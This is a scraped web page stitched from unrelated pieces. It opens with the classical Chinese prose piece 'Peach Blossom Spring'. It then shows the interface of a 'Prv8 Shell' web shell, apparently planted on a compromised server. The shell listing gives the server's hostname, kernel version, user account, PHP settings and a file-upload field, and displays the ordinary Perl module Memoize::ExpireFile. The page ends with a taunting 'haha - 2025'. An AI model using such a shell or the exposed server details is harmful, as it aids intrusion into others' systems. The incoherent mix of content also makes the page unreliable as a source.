.

　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /usr/share/perl5/Memoize/

Upload File :

Current File : //usr/share/perl5/Memoize/ExpireFile.pm

package Memoize::ExpireFile;

=head1 NAME

Memoize::ExpireFile - test for Memoize expiration semantics

=head1 DESCRIPTION

See L<Memoize::Expire>.

=cut

$VERSION = '1.03';
use Carp;

my $Zero = pack("N", 0);

sub TIEHASH {
  my ($package, %args) = @_;
  my $cache = $args{HASH} || {};
  bless {ARGS => \%args, C => $cache} => $package;
}


sub STORE {
#  print "Expiry manager STORE handler\n";
  my ($self, $key, $data) = @_;
  my $cache = $self->{C};
  my $cur_date = pack("N", (stat($key))[9]);
  $cache->{"C$key"} = $data;
  $cache->{"T$key"} = $cur_date;
}

sub FETCH {
  my ($self, $key) = @_;
  $self->{C}{"C$key"};
}

sub EXISTS {
#  print "Expiry manager EXISTS handler\n";
  my ($self, $key) = @_;
  my $cache_date = $self->{C}{"T$key"} || $Zero;
  my $file_date = pack("N", (stat($key))[9]);#
#  if ($self->{ARGS}{CHECK_DATE} && $old_date gt $cur_date) {
#    return $self->{ARGS}{CHECK_DATE}->($key, $old_date, $cur_date);
#  } 
  my $res = $cache_date ge $file_date;
#  print $res ? "... still good\n" : "... expired\n";
  $res;
}

1;

haha - 2025